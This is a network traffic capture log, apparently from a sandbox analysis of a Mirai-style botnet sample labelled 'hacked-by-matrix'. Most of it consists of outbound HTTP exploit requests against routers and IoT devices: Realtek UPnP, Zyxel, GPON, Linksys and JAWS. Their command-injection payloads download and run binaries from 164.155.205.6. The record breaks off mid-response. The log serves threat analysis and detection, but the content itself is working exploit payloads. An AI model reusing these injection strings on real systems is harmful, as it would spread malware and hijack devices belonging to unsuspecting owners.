Mar 2, 2024 12:38:40.216721058 CET	986	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 2, 2024 12:38:40.330075026 CET	1280	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBAC

Session ID	Source IP	Source Port	Destination IP	Destination Port
1650	192.168.2.23	36108	80.13.158.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.625468016 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:40.280926943 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1651	192.168.2.23	34726	178.66.63.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.625554085 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:40.265029907 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:40.475136042 CET	64	IN	HTTP/1.1 307 Temporary Redirect Connection: close
Mar 2, 2024 12:38:40.475183010 CET	63	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0d 0a 0d 0a Data Ascii: Location: https://127.0.0.1/cgi-bin/ViewLog.asp

Session ID	Source IP	Source Port	Destination IP	Destination Port
1652	192.168.2.23	58668	104.16.253.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:39.856811047 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:39.944518089 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Sat, 02 Mar 2024 11:38:39 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1653	192.168.2.23	54442	212.149.50.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:40.123131990 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:41.046358109 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:42.134207010 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:44.505877018 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:48.860934019 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1654	192.168.2.23	60074	79.45.166.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:40.254748106 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1655	192.168.2.23	55284	154.204.103.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:40.289441109 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:41.142339945 CET	227	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:41.305006027 CET	513	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sat, 02 Mar 2024 11:39:04 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1656	192.168.2.23	43116	172.65.244.196	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:40.439935923 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1657	192.168.2.23	53854	172.65.133.17	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:40.439949989 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1658	192.168.2.23	40950	64.41.138.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:40.813704967 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:38:40.967988014 CET	532	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:26 GMT Server: Apache/2.2.15 (CentOS) Vary: Accept-Encoding Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 